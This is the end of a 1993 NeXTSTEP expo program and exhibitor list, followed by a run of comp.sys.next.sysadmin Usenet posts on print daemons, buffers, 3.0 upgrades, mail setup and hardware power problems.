shown on the exhibit floor. TRACK FOUR SESSIONS: ** DOCUMENT CREATION ** The leading applications for creating business documents square off. Their different approaches to page layout and design provide good choices for every kind of NeXTSTEP user. This session provides an excellent opportunity to view, evaluate, and discuss the wide array of page layout applications available for NeXTSTEP. ** PRODUCTIVITY, NeXTSTEP STYLE ** In this session, developers discuss the feature and benefits of today's NeXTSTEP productivity applications and how they can be used most effectively. NeXTSTEP is home to innovative software products in virtually every productivity category. What's truly amazing is the way they all work together in an integrated user environment. ** INFORMATION MANAGERS ** The last year has seen an explosion of products for managing personal and group information. These tools have allowed NeXTSTEP users to move even closer towards the goal of a true paperless office. Learn about the calendar, address books, and free-form databases that are on the vanguard of workgroup computing on NeXTSTEP. ** BETTER PRESENTATIONS ** Making presentations is among the most frequent tasks in business. Creating presentations using NeXTSTEP and available third-party applications has proven to be both easy and impactful. Here we look at the options for improving your delivery with visually appealing slides and interactive media. ** EMULATION AND CONNECTIVITY ** NeXTSTEP is great, but sometimes you have concessions to the rest of the world. Whether you want to make your NeXTSTEP system behave like Windows, Macintosh, X, or a mainframe terminal, there is a third-party product for you. Developers in this session will review those products available in the future. ** GRAPHICS FOR BUSINESS ** Illustration tools are not just for artists. NeXTSTEP offers some of the best applications on any platform for creating business charts, diagrams, and drawings. Whether you're looking for applications in the area of free-hand drawing, product planning and flowcharts, or presentation enhancement, this session is for you. ** MULTIMEDIA AND 3D ** NeXTSTEP has always been a leader in the area of multimedia. Learn how NeXTSTEP's inclusion of RenderMan technology, strong multimedia authoring systems and tools for sound and music have set the stage for an explosion of software for 3D rendering, animation, and multimedia. ** DOCUMENT MANAGEMENT ** NeXTSTEP's combination of strengths for scanning character recognition, imaging, and collaborative computing make it an ideal platform for document storage and retrieval. Developers demonstrate their solutions for the potentially huge but largely underutilized workstation application. ** SPREADSHEET AND MODELERS ** NeXTSTEP abounds in diverse solutions for financial modeling. Whether you need a traditional spreadsheet, multi-dimensional tool or sophisticated enterprise financial modeler, NeXTSTEP serves your needs with strong third-party products. Come see for yourself. ____________________________________________________________________ => NeXTSTEP PRODUCT EXHIBITION: PARTICIPATING COMPANIES May 25 - 27, 1993 Participating Companies: ADAMATION Alembic Systems International Ltd. Altsys Corporation Anderson Financial Systems ANDI Appsoft, Inc. Athena Design Axsys Bacchus, Inc. BenaTong Blacksmith Booz-Allen & Hamilton Canon Ciusa Conextions Cub'X Systems Data General Corp. Dell Computer Epson Firstsoft, Inc. / DBSA. Inc. Goldleaf Publishing, Inc. Harvard Tool Works Hewlett-Packard Company Highland Digital HSD Microcomputer Hypersight, Inc. i-link, GmbH Imagine Multimedia, Inc. INSIGHT Software Insignia Solutions, Inc. Intel Corporation Jana Publishing Lighthouse Design, Ltd. Logicon Ultasystems Inc. LogicStream Lotus Development Corp. Marble Software Products Memory International, Inc. Millennium Software Labs, Inc. MRJ, Inc. NEC Technologies Inc. NeXT, Inc. NeXTWORLD Magazine Northstar nPoint Objective Technologies, Inc. ONyX Systems, Inc. Pages Software, Inc. Pangea Corporation PARABASE Pencom Perennial Software Pinnacle Research, Inc. Professional Software, Inc. RDR, Inc. Ridgeback Solutions RightBrain Software, Inc. Sarrus Software, Inc. Schema Research Corp. Second Glance Software SiRiUS Solutions, Inc. Skylee Press SofDesign Software Ventures Stone Design System House Inc. Systemix Software, Inc. Tecor, Inc. Telos / Springer-Verlag Trident Data Systems Trirex Systems Vertex Software WordPerfect Corporation Yrrid Incorporated ..and more ____________________________________________________________________ => NeXT USER GROUP PROGRAM AGENDA User Group Keynote Thursday, May 27 9:00 a.m. - 11:00 a.m. Steve Jobs: 486--An Explosion of Users Under NeXT's Big Tent Steve Jobs headlines this exciting kickoff to today's activities. The number of NeXTSTEP users in the world doubled last year. With the advent of NeXTSTEP for Intel processors, we anticipate a tremendous explosion of new users and user group members using both black and white hardware. How do we serve this dynamic new population and tap into their talents? Ideas for 1993 and beyond will be discussed. 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Newsgroups: comp.sys.next.sysadmin From: camilleg@cmp-rt.music.uiuc.edu (Camille M. Goudeseune) Subject: Re: how to restart lpd? Date: Fri, 5 Mar 1993 19:35:04 GMT Message-ID: <C3FL2G.J4A@news.cso.uiuc.edu> References: <C2yvnv.GxC@news.cso.uiuc.edu> <C33oJ4.LAF@csie.nctu.edu.tw> Sender: usenet@news.cso.uiuc.edu (Net Noise owner) Organization: University of Illinois School of Music The conclusion from several netpeople is that the 2.1 printing daemons are unreliable. Here is a little script I assembled from their collective wisdom that restarts a dead printer. It works on our NeXT; it may work on yours. (Of course, you're responsible for your system and I'm not.) Camille Goudeseune Computer Music Project, UIUC ----------------------------------------------------------------------------- #!/bin/csh -f # # Kluge to restart the buggy NeXT 2.1 print daemons. Run this as root. set f = /tmp/.lprestart rm -rf $f ps aux > $f # No problem, if these daemons are already dead. set x = `grep /usr/lib/lpd $f | sed -e "s/[^0-9]*//" -e "s/ .*//"` kill -9 $x set x = `grep /usr/lib/NextPrinter/npd $f | sed -e "s/[^0-9]*//" -e "s/ .*//"` kill -9 $x rm -rf /dev/printer # clean up after lpd lprm - -PLocal_Printer # Empty the queue. /usr/lib/lpd # restart daemons in this order /usr/lib/NextPrinter/npd rm -f $f -----------------------------------------------------------------------------
From: zmonster@athena.mit.edu (Eric M Hermanson) Newsgroups: comp.sys.next.sysadmin Subject: Increasing System Memory Buffers & Swapfile - Does it help? Date: 5 Mar 1993 23:24:46 GMT Organization: Massachusetts Institute of Technology Distribution: world Message-ID: <1n8nfuINNqgu@senator-bedfellow.MIT.EDU> I have an ADB color turbo system, and was told by someone that since I have 32 Megs of memory, I could increase my system memory buffers in the ROM monitor to greatly increase my system performance. Is this true? If so, is it a supported modification? WIll I screw something up if I do so? I ask this because my system swapfile grows very large very often. One would think that with 32 megs of memory, disk swapping would be kept to a miniumum. My swapfile is set at 16 megs. Would it be advantageous to increase the low water mark on the swapfile to 30 megs, and then add a hi water mark at 40 megs? Thanks, Eric
Newsgroups: comp.sys.next.sysadmin From: uunet!sci34hub!tybrin4!trey (Trey McClendon) Subject: Re: What is the max value for nbuf? Message-ID: <1993Mar5.192759.245@tybrin4.uucp> Sender: trey@tybrin4.uucp Organization: TYBRIN Corporation, Huntsville AL References: <1993Mar3.194617.25726@Happy-Man.com> Distribution: usa Date: Fri, 5 Mar 1993 19:27:59 GMT In article <1993Mar3.194617.25726@Happy-Man.com> irving@Happy-Man.com (Irving_Wolfe) writes: > In <1n0c47INNbq3@menudo.uh.edu> sears@tree.egr.uh.edu (Paul S. Sears) writes: > >We use a value of 128, i.e, sdmach- nbu=128 (less than 12 characters!) > > I was once cautioned by Next not to exceed 64 buffers (no reason > given), even though one can. Can anyone clarify this point? > -- > Irving_Wolfe@Happy-Man.com Happy Man Corp. 206/463-9399 x101 > 4410 SW Pt. Robinson Rd., Vashon Island, WA 98070-7399 fax x108 > We publish SOLID VALUE for the intelligent investor. NextMail OK > Info free; sample $20. Send POSTAL addrs: Solid-Value@Happy-Man.com I heard it was to minimize the amount of data lost when if the system crashes. The larger the buffer, the more stuff that could be out there waiting to be written to disk... Trey
From: matthews@oberon.umd.edu (Mike Matthews) Newsgroups: comp.sys.next.sysadmin Subject: Re: What is the max value for nbuf? Message-ID: <18832@umd5.umd.edu> Date: 6 Mar 93 02:35:15 GMT References: <1mvv3dINNjm1@tamsun.tamu.edu> <1n0c47INNbq3@menudo.uh.edu> <1993Mar3.194617.25726@Happy-Man.com> Sender: news@umd5.umd.edu Organization: Los Alamos National Laboratory, NM In article <1993Mar3.194617.25726@Happy-Man.com> Irving_Wolfe@Happy-Man.com writes: >I was once cautioned by Next not to exceed 64 buffers (no reason >given), even though one can. Can anyone clarify this point? I'm not sure why they say 64, but you don't want to put *too* many buffers in there because (a) you run the risk of losing that much data in the event of a crash or power failure, and (b) when it goes to flush that data your disk and the rest of the computer is tied up. I'm not sure if Mach uses a 'time to live' like flush algorithm, or if it just flushes every X seconds, but you could still gets lots of disk i/o in there. You probably won't notice any difference between 64 and 128 anyway (which would imply that 128 offers no more risk than 64, but it then offers nothing extra over 64 either). > Irving_Wolfe@Happy-Man.com Happy Man Corp. 206/463-9399 x101 > 4410 SW Pt. Robinson Rd., Vashon Island, WA 98070-7399 fax x108 > We publish SOLID VALUE for the intelligent investor. NextMail OK >Info free; sample $20. Send POSTAL addrs: Solid-Value@Happy-Man.com ------ Mike Matthews, matthews@oberon.umd.edu (NeXTmail accepted) ------ It has just been discovered that research causes cancer in rats.
Newsgroups: comp.sys.next.sysadmin From: jayw@idsoftware.com (Jay Wilbur) Subject: Re: Strange pop snd during login from WorkSpace Message-ID: <1993Mar5.132514.9587@nntpxfer.psi.com> Sender: news@nntpxfer.psi.com Organization: Performance Systems Int'l References: <1993Mar4.134213.29091@tybrin4.uucp> Distribution: usa Date: Fri, 5 Mar 1993 13:25:14 GMT Trey McClendon writes > Hi All, > > My slab, NS 3.0 - equipped, recently starting producing the pop.snd sound > during login. It occurs between when the login window disappears and when > the File Viewer and Dock appear. I cannot for the life of me remember > what I could have done to make this happen. Does anybody know in general > what causes this? Maybe some file missing? Everything else works OK. Do you have a sound set as a New Mail alarm? --- Jay Wilbur Id Software jay@idsoftware.com (NeXTMail OK) For help with any Id Software game send E-mail to help@idsoftware.com (NeXTmail OK) Our "official" anonymous FTP site is ftp.uwp.edu (/pub/msdos/games/id). The good people at uwp.edu have even given us a home-brew directory (/pub/../id/home-brew) for all the great add-ons that have been (or will be) written for our games. *Upload files to /pub/incoming/id
From: hiebm@acf3.nyu.edu (Michael Hieb) Newsgroups: comp.sys.next.sysadmin Subject: MailBoxes are losing attchments... Date: 6 Mar 1993 11:31:23 GMT Organization: New York University Message-ID: <1na22b$fbh@calvin.NYU.EDU> Keywords: mail No matter how many times I change permissions on the MailBoxes directory, each time mail is received a directory is created for the attachment which is empty. No matter the permissions on the directory, the umask can be set for 777, the directory is made with myself as owner, wheel as group and write permissions only for myself, and the attachment has been lost. I have destroyed both the Active.mbox by itself, as well as the entire MailBoxes directory. Upon recreation, no better. I welcome any pointers provided. Michael
Newsgroups: comp.sys.next.sysadmin From: dicosmo@dmi.ens.fr (Roberto DiCosmo) Subject: Re: mount: / not found Message-ID: <1993Mar6.150553.26151@ens.fr> Sender: news@ens.fr (USENET News System) Organization: Ecole Normale Superieure, PARIS, France References: <1m3cveINN9bb@au-ns.american.edu> Date: Sat, 6 Mar 93 15:05:53 GMT In article <1m3cveINN9bb@au-ns.american.edu> carlos@american.edu (Carlos Li) writes: > We are having problems rebooting our NeXTstation with a 105MB disk drive. > We get the messages: > mount: / not found > Faking root mount entries > ... > Then, it stops in the middle of coming up in multi-user mode. When I try > booting to single user, the /dev/sd0a seems to get mounted as read-only, > so I cannot modify anything, like in /etc/fstab. > I've tried booting up from a floppy and then mounting the hard disk. It > lets me do it, and I can change the fstab file, but when I reboot again, > it goes back to what it was before. > We had a power outage the night before this happened. We had a similar problem here and we solved it more or less trickily in one of the following way: a) reinstall the system files from scratch (using the CD-rom) (this makes you loose the local configuration ...) b) restore older copies of fstab, rc, rc.local, reload the netinfo entries for fstab from scratch (i.e. niload -d fstab . < /dev/null, then niload fstab . < /etc/fstab) and some other tweaking ... I would REALLY appreciate a real solution (i.e. an explanation plus a recovery procedure) Please send me a mail also :-) -- Roberto Di Cosmo <dicosmo@dmi.ens.fr> LIENS Ecole Normale Superieure 45, Rue d'Ulm 75005 Paris FRANCE
Newsgroups: comp.sys.next.sysadmin From: orion@proxima.cc.colorado.edu (Orion Edward Poplawski) Subject: Appleshare (works lousy!) Message-ID: <C3HG1C.H5x@csn.org> Sender: news@csn.org (news) Organization: Colorado SuperNet, Inc. Date: Sat, 6 Mar 1993 19:41:35 GMT Has anyone out there been accessing appleshare servers with their NeXT's? I must say that I have had very little luck. At first, I was very excited, I installed the appletalk driver via preferences, rebooted, and there in /Net/Appleshare were all the appleshare servers on my net! But, after trying to access them over the past month, I rarely can smoothly connect to them, and more often than not the workspace just sits there spinning its disk icon while it waits for something. Looking at the the console I get mesasages like: NFS getattr failed for server AppleShare (106): RPC: Timeout Also, as I write, the preferences app is taking forever to shift to the appleshare pref. panel. -- Orion Poplawski Physics Dept. Paraprofessional The Colorado College orion@proxima.cc.colorado.edu (NeXT mail OK) (719)389-6750
Newsgroups: comp.sys.next.sysadmin From: rhamel@iat.holonet.net (Richard Hamel) Subject: UUCP news feed Message-ID: <C3Hq0H.2GK@iat.holonet.net> Organization: HoloNet National Internet Access BBS: 510-704-1058/modem Date: Sat, 6 Mar 1993 23:17:02 GMT
Newsgroups: comp.sys.next.sysadmin From: uunet!sci34hub!tybrin4!holli!me (Trey McClendon) Subject: SOLVED: Pop.snd during login process Message-ID: <1993Mar6.142024.592@holli.uucp> Sender: me@holli.uucp (My Account) Organization: TYBRIN Corporation -- Huntsville, AL Date: Sat, 6 Mar 1993 14:20:24 GMT A few days ago I posted a question about why my slab was producing a sound (now I know it was actually the drip.snd, but that is inconsequential) during login. Three replies were received. One person mentioned that after he blew away his .NeXT directory, the sound went away. On this cue I began a close examination of the WorkSpace, SYSTEM, and NEXT1 defaults, since the sound happens before any apps are launched ( I ruled out Preferences by not auto-launching it). The culprit turned out to the a bad WorkSpace LaunchPath default that pointed to a non-existent DiskEjectFix.daemon. Once I corrected the path, the annoying login sound sound went away. Indiscriminant moving of files bites again! Thanks to all who replied! Trey Trey McClendon tybrin4!trey@sci34hub.sci.com -- Trey McClendon, Madison, AL
Newsgroups: comp.sys.next.sysadmin From: eric%basilisk@src.honeyell.com (Eric D. Engstrom) Subject: Re: Icon.app Patch Message-ID: <C3HsKp.1An@basilisk.uucp> Keywords: Icon.app patch permissions crash fall-down-go-boom Sender: eric@basilisk.uucp (Eric D. Engstrom) Organization: anonymous References: <tlm.731203168@scl1.al.iastate.edu> Date: Sun, 7 Mar 1993 00:12:25 GMT Mishkin Berteig writes > I was wondering if anyone out there knows what shared > libraries need to be moved around and to where in order > for the patched Icon.app to work under NS3.0? And Stefano Pagiola replies: >There's instructions in Sonata, in file Iconand3.0 (or something like >that) as well as a little app that will do the actual patch >(IconPatch.app). However, I have had absolutely no luck in getting >this to work (symptom: Icon crashes immediately after loading), >despite following the instructions to the letter. Might this be >because I can only get at 2.0, rather than 2.1, shared libraries? Then Tom Marchioro writes > No, it means you've done everything perfectly, since now Icon is working > exactly the same under 3.0 as it once did under 2.0 :) :) :) :) Actually, it probably means that you (Stefano) don't have the "permissions" on the shared libs right. What you want is for them to be executable by everyone (or at least everyone that needs to run icon.app) i.e, (52)basilisk% ls -alg /2.x/shlib total 3282 drwxrwxrwx 2 eric wheel 1024 Dec 6 15:16 ./ drwxr-xr-x 5 eric wheel 1024 Mar 1 17:07 ../ -r-xr-xr-x 1 eric wheel 1481989 Dec 6 14:38 libNeXT_s.C.shlib* -r-xr-xr-x 1 eric wheel 131072 Dec 6 14:41 libdsp_s.A.shlib* -r-xr-xr-x 1 eric wheel 811822 Dec 6 14:58 libmusic_s.A.shlib* -r-xr-xr-x 1 eric wheel 72840 Dec 6 15:00 libni_s.A.shlib* -r-xr-xr-x 1 eric wheel 673060 Dec 6 15:13 libsys_s.B.shlib* -r-xr-xr-x 1 eric wheel 127343 Dec 6 15:16 libvideo_s.A.shlib* Other than the permissions, the instructions in that "whasitsname" readme/ps file on sonata with the IconApp.patch program that Stefano eluded to were flawless. Good luck, Eric +------------ Eric D. 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Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware From: petcher@howdy.wustl.edu (Donald N. Petcher) Subject: DAT and 128Mb optical drives for the NeXT - compatibility? Message-ID: <1993Mar7.024014.26328@wuphys.wustl.edu> Sender: usenet@wuphys.wustl.edu (USENET) Organization: Physics Dept, Washington U in St Louis Date: Sun, 7 Mar 1993 02:40:14 GMT What does it take for a DAT drive and an optical drive (128Mb 3.5" variety) to work with a NeXT? I am interested in both, and have noticed that in particular the ones being sold as Macintosh compatible have pretty good prices. (MacDirect sells each at about the $1000-$1100 mark.) Would these work? Related questions: Are ALL 3.5" opticals diskwise compatible? (I saw one ad that explicit mentions "single-sided" 128Mb optical, which made me wonder...). Is there a reliablity question here? Does anyone have a recommendation for a good source for either of these drives to use with a NeXT (Turbo monichrome NS)? Please email unless you think what you have to say is of general interest. I'll pass on info to anyone who wants it. Cheers, Don Petcher petcher@wuphys.wustl.edu petcher@howdy.wustl.edu
Newsgroups: comp.sys.next.sysadmin From: hogan@boetius.rz-berlin.mpg.de (Kharim Hogan) Subject: How to have a 3.0 client on a 2.1 network?? Message-ID: <1993Mar7.023553.1656@thunder.mcrcim.mcgill.edu> Sender: news@thunder.mcrcim.mcgill.edu Organization: Los Alamos National Laboratory, NM Date: Sun, 7 Mar 93 02:35:53 GMT Hi, Does anybody have both 2.1 and 3.0 running simultaneously? Here is a description of the situation with which I need help... We have a NeXT network of 6 stations. At the moment they are all running 2.1. The server is a station with a 1.2Gb external disk configured as the boot disk and the NetInfo master. For several reasons, we won't be able to upgrade to 3.0 until the summer. Meanwhile though, one of the stations (with a 105 Mb drive) needs to be running 3.0 for a research project. I therefore need to find a way to have 3.0 running on only this machine and keep it on the network. I've looked everywhere for information about how to do this but can't find any details. What I need to know is: 1) Can I just go and run the upgrade on that one station? 2) Since all the extended release, developer's toolkit, etc is on the server and mounted onto the clients should I unmount all this on the one client, or could I leave it as is (even though the upgrade has been run on the client)? 3) Where can I find more detailed information about how to set this up? 4) What happens if one runs the upgrade on the client's boot disk if the client is part of this 2.1 network? 5) Could I just run the upgrade on the station and then link the rest of the 3.0 extended release to somewhere else where there is room (another disk on the network)? i.e. since the station is a 105 Mb, there is no room for the extended release, can I just install the 3.0 extended stuff somewhere else and export it out to that station? Is it that simple or are there other problems to consider? The other thing is that we have just purchased a TurboStation running 3.0 which needs to be connected to the network. So in effect there will be 2 clients running 3.0 on a 2.1 network. How can I set this up? Can anyone help me or give me pointers? I'm not sure where to start and the docs that I have that came with the upgrade don't say much about various configurations. As you can see, I've no idea what to expect and don't really know where to start. I'd be most appreciative if anyone out there's done this sort of thing and could point me in the right direction. Thanks! Kharim -- ************************************************************************* Kharim M. Hogan Systems Administrator hogan@music.mcgill.ca Faculty of Music, McGill University *************************************************************************
From: zmonster@athena.mit.edu (Eric M Hermanson) Newsgroups: comp.sys.next.sysadmin Subject: General System Problems Date: 7 Mar 1993 05:22:37 GMT Organization: Massachusetts Institute of Technology Distribution: world Message-ID: <1nc0qtINNmlq@senator-bedfellow.MIT.EDU> Hi I wondered if anyone could answer three questions I have: 1. I set the low water mark in /etc/swaptab to be 30 Megs. After rebooting, the size of the swapfile is 19 Megs. Shouldn't it be 30 Megs since the low water mark is 30 Megs? 2. Every time I log in, either with my account or root, I get this message in the console: >Mar 6 22:58:27 localhost syslog: make_services: someone else is already >making services. Is this normal? 3. My system ignores characters in passwords that are 9 characters or more long. I thought one could have as many characters in the password as you want? Thanks, Eric
Newsgroups: comp.sys.next.sysadmin From: Nitezki@NiDat.sub.org (Peter Nitezki) Subject: Re: NeXT will not turn on!! Message-ID: <1993Mar6.164216.4731@nidat.sub.org> Sender: nitezki@nidat.sub.org Organization: private site of Peter Nitezki, Kraichtal, Germany References: <ufessex.731002990@mcl> Date: Sat, 6 Mar 1993 16:42:16 GMT In article <ufessex.731002990@mcl> ufessex@mcl.ucsb.edu (Fabian E. Schonholz) writes: > It always happens when you have a buyer...argggggg!!! > > Well, my machine does not want to turn on. I mean that I pressed the > power key and nothing happens. About an year ago I had the same problem, > but somehow it solved itself out!!! I tryed turning the machine on > (notice that I am not saying "booting" the machine) and nothing, so I > let it seat there for a while. Changed the plugs, etc...tryed...nothing. > Got the plugs again in the original set up and voila!!!! it came on an > booted. Same way now...but it has been a week or so since it has not > come on and (I was also sick with a cold and fever) and I got a buyer > for it and would hate to sell a machine that is not working properlly. I > suspect the keyboard, but I am not sure...ANY IDEAS!!!!! > -- > Fabian E. Schonholz > ufessex@mcl.mcl.ucsb.edu.us > fessex@cs.ucsb.edu.us Well, is it a older machine? Sounds as if you had problems with the backup battery. If your battery is low the clock and wakeup circuit will fail and your NeXT stays dark. On an older machine you can change the battery on your own risk. I don't tell you where to find it since if you won't recognize her if you see her you won't do any good trying to change it. On a newer machine let a techician at your local NeXT dealer have an eye on it since you then will have warranty on his service. -- Peter Nitezki | Nitezki@NiDat.sub.org # Blessed thou who knoweth Staarenbergstr. 44 | Tel.: +49 7251 62495 # not about the pleasure and D-7527 Kraichtal 2 | Fax : +49 7251 69215 # delight of being hooked GERMANY | # up to the Net. Peter 1,3-5
Newsgroups: comp.sys.next.sysadmin From: tom@cse.fau.edu (Tom Horton) Subject: how do I upgrade a 105 Mb system? Message-ID: <1993Mar8.011439.29891@cybernet.cse.fau.edu> Sender: news@cybernet.cse.fau.edu Organization: Florida Atlantic University, Boca Raton Date: Mon, 8 Mar 1993 01:14:39 GMT I'd like to upgrade a 040 cube with that 105 Mb disk from NS 2.1 to 3.0. I have another machine on the network with 3.0 installed and Upgrade.app set up as a network upgrade server, but when I try to install 3.0 over the net on the machine with the 100 Mb drive, I get this kind of message: There's not enough free disk space to perform the upgrade. 72.8 MB is needed; only 15.7 MB is available. Remove some personal files and try again (removing system files won't help and will confuse the upgrader). There are no user files on this 105 MB drive; just a few apps. (Users on all on another drive, also small.) I suspected that Upgrade.app is trying to install the same packages as are installed on the server, because after this I looked in the file /UpgradeLog which now contains: Preparing / for upgrade... Relocating package receipts...done. Installing bill of materials for Release 2.1...done. Installing exension package receipts: Literature Demonstrations Developer. Upgrade preparation complete. Hmm. No room for Literature, Demonstrations, or Developer, so I tried to edit the update plan to leave all these out. Still claimed it needed 50 MB that I don't have. Maybe this is not the problem after all? Any suggestions? Would I have better luck if I moved my CD over to this machine and forgot about using Upgrade.app off the network server? (This would be inconvenient, though.) BTW, I hope I haven't left my 2.1 system in some kind of dangerous in-between state; have I? Thanks, Tom ------------------------------------------------------------------------- Dr. Thomas B. Horton, Assistant Professor Dept. of Computer Science and Engineering, Florida Atlantic University Boca Raton, FL 33431 USA Phone: 407/367-2674 FAX: 407/367-2800 Internet: tom@cse.fau.edu Bitnet: HortonT@fauvax
From: steve@estel.uindy.edu (Steve Spicklemire) Newsgroups: comp.sys.next.sysadmin Subject: uucp and 3.0 Date: 8 Mar 1993 02:30:07 GMT Organization: Truevision Inc., Indianapolis, IN Distribution: world Message-ID: <1neb3fINNbem@epic.truevision.com> Hi, Since I upgraded a slab to 3.0 uucp is messed up. I can run uuxqt as root, by hand, after some mail has been delivered, but uucico never does in automatically. Any ideas why not? thanks! -steve -- --------------------------< cut here >---------------------------- Steve Spicklemire (317) 788-3313 steve@estel.uindy.edu Dept of Mathematics and Physics NeXTmail Welcome! 1400 East Hanna Avenue, 46227
From: izumi@pinoko.berkeley.edu (Izumi Ohzawa) Newsgroups: comp.sys.next.sysadmin Subject: Re: NeXT will not turn on!! Date: 7 Mar 1993 22:03:46 GMT Organization: University of California, Berkeley Distribution: world Message-ID: <1ndrg2$3q3@agate.berkeley.edu> References: <KARTHY.93Mar7105931@dannug.dannug.dk> In article <KARTHY.93Mar7105931@dannug.dannug.dk> karthy@dannug.dk (Karsten Thygesen) writes: >>>>>> On Mon, 1 Mar 1993 20:50:08 GMT, lemson@ux1.cso.uiuc.edu (David Lemson) said: >David> Perhaps the boot cmos has been corrupted. Try removing the battery, >David> shorting the battery holder terminals, and replacing the battery >David> (mind the positive and negative marks). >I have a similar problem. When I turn off the machine and want to turn >it back on again, the monitor (monocrome btw) turn on and the internal >harddisk spins up but there is no picture and no "beep". The solution >is to shortwire - ups - I mean discharge the battery for a short >period - then it works. NO, NO, NO. Please don't short the battery itself. That can be very dangerous. I hope you really meant shorting the (empty) battery holder terminals like David said. -- Izumi Ohzawa [ $@Bg_78^=;(J ] USMail: University of California, 360 Minor Hall, Berkeley, CA 94720 Telephone: (510) 642-6440 Fax: (510) 642-3323 Internet: izumi@pinoko.berkeley.edu (NeXTMail OK)
Newsgroups: comp.sys.next.sysadmin Subject: HELP! Cannot mount optical disk!! Message-ID: <1nf1htINN7de@shelley.u.washington.edu> From: strobel@stein.u.washington.edu (Nicolas Strobel) Date: 8 Mar 1993 08:53:17 GMT Organization: University of Washington Keywords: bad super-block prevents mounting of OD Summary: bad super-block prevents mounting of OD Help! I cannot get an optical disk filled with research data/programs to mount! In the console I get this error: od0a: read failed (bitmap bad but no alternate found!) block 8 phys block 63448 (8114:0:8). Block 8 is a super-block. Using fsck with the alternate super-block 16 brings up a number of blocks above block #151264 that it cannot read. After responding yes to all of the proposed changes fsck suggested (what else could I do?) it indicated the number of files used and free (at end of phase 5) it said that it could not write to block 8. Repeated attempts with fsck turned up the same blocks not being read. The OD still will not mount and I cannot access any of the files. Is there a way to tell the mount command to use a different super-block? Is there any way I can repair block 8 phys block 63448? Please, please let me know!! Nick Strobel strobel@dirac.phys.washington.edu
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin From: bill@leeweyr.sccsi.com (Bill Lee) Subject: Need help with NeXT Mail and/or sendmail.cf Message-ID: <1993Mar8.015233.4198@leeweyr.sccsi.com> Organization: Lee Aerie Date: Mon, 8 Mar 1993 01:52:33 GMT I have Color slab running 2.1. I have a uucp connection to a local feed to supply me with e-mail and a USENET news feed. Here's the problem. Using the NeXT Mail application or regular UNIX mail, all of my outgoing mail arrives at the destination with either a ^M (i.e., control-M) at the end of each line, or the file is double spaced. Apparently, the ^M is also in the headers. I can send mail to myself and the files all appear to be o.k. (That is, I send to an account on the news feed machine which has a .forward back to my NeXT.) But when it goes to other systems, the annoying ^M or double spacing occurs. This is not a "biggie", but is annoying to those who receive my e-mail. It does cause problems, however, when sending code of one sort or another, mostly because the files become inordinately large. I suspect there is a mailer option in the sendmail.cf to handle this. However, the NeXT documentation does not discuss the .cf file, and all of the other references I have do not help. Can someone give me some pointers that might solve this problem? Thanks. Bill Lee
Newsgroups: comp.sys.next.sysadmin From: masud@invnext.worldbank.org (masud cader) Subject: Private group and .forward problems Message-ID: <1993Mar8.164351.16748@worldbank.org> Keywords: Question:Mail,Private Group,.forward Sender: news@worldbank.org Organization: The World Bank, Washington, DC, USA Date: Mon, 8 Mar 1993 16:43:51 GMT Fellow NeXTSTEPpers: I have a small problem. I am trying to accomplish a mail explode capability. I have set up an account, say "mex", which has a private mail group of a couple hundred addresses, called "mailX", and have in the .forward file of account mex the value "mailX". Thus one would expect all mail sent to mex to be forwarded to the mail group defined in the .forward file, ie, mailX ..not so...I get a user unknown 550 message from the mailer. However, I can send mail to the group mailX...just can't forward it. Anyone have a couple of hints...possibly a solution. A priori gratitude. -- QUOTES ARE PUT IN MERELY AS VISUAL DELIMITERS AND DO NOT ACTUALLY EXIST IN THE FILES/NAMES. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Masud Cader Trading Analytics The World Bank masud@invnext.worldbank.org
Newsgroups: comp.sys.next.sysadmin Subject: Netware logout: how? Message-ID: <93067.113120HWTQC@CUNYVM.BITNET> From: <HWTQC@CUNYVM.BITNET> Date: Monday, 8 Mar 1993 11:31:20 EST Organization: City University of New York Our sysadmin is departing academia for the real world, and thus really won't get a chance to deal with this in detail. Apparently, the only way for a NeXT to break a Netware connection is for the NeXT to be rebooted. This would be inconvenient under certain circumstances. Does anyone know of another way to logout from/break a Netware connection? AAAAA: All Assistance And Advice Appreciated ------- Harry Wert Queens College Academic Computer Center NeXT Mail: wert@alehouse.acc.qc.edu
From: tim@apple.com (Tim Olson) Newsgroups: comp.sys.next.sysadmin Subject: DialupIP performance Message-ID: <tim-080393110119@129.38.222.43> Date: 8 Mar 93 17:09:16 GMT Sender: usenet@Apple.COM Followup-To: comp.sys.next.sysadmin Organization: Apple Computer Inc. / Somerset I'm using Louis Mamakos' DialupIP, v1.2 on a '030-based cube running NeXTSTEP 2.1. The package works great, except for one thing: FTP transfer rates from my cube to another host are very low. I can get ~0.7KB/s over a 9600-baud link when transferring *from* another host, but only about 0.07KB/s transferring *to* another host. The limitation appears to be some type of increasing "backoff" when retransmit timeouts occur. Does anyone have any suggestions on how to get rid of this backoff? -- Tim Olson Apple Computer Inc. / Somerset (tim@apple.com)
Newsgroups: comp.sys.next.sysadmin From: uunet!sci34hub!tybrin4!trey (Trey McClendon) Subject: NeXT will not turn OFF!! (yes, OFF) Message-ID: <1993Mar8.155213.9877@tybrin4.uucp> Sender: trey@tybrin4.uucp Organization: TYBRIN Corporation, Huntsville AL Date: Mon, 8 Mar 1993 15:52:13 GMT Hello, Now that I can post, the 'NeXT will not turn on!!' post reminds me of a problem with one of the NeXTs here where I work. This slab, one of the early ones, will not turn off. It will go through the power off sequence just like any other machine. A relay (??) somewhere will click, the screen will go black, but then it will mysteriously re-power itself and go through the testing system... bit. For awhile, I could get to the ROM monitor prompt and repeatedly do the power key, 'y' really power down and it would eventually 'take'. Sometimes it would really go off after 3 cycles, other times more. Now, it has gotten to the point that it simply will not go off. I have to go the ROM monitor and pull the plug. ( I still have to press the power key to restart it). This is irritating. I have let it sit without the battery overnight, and have even replaced the battery with a new one. Nothing changed. Does anybody have any ideas of what to try, short of replacing the motherboard? (A maintenance history is perhaps in order. This machine used to give erroneous results for certain output until the 040 chip was replaced. Now it gives output that matches all the other machines) Regards, Trey McClendon tybrin4!trey@sci34hub.sci.com
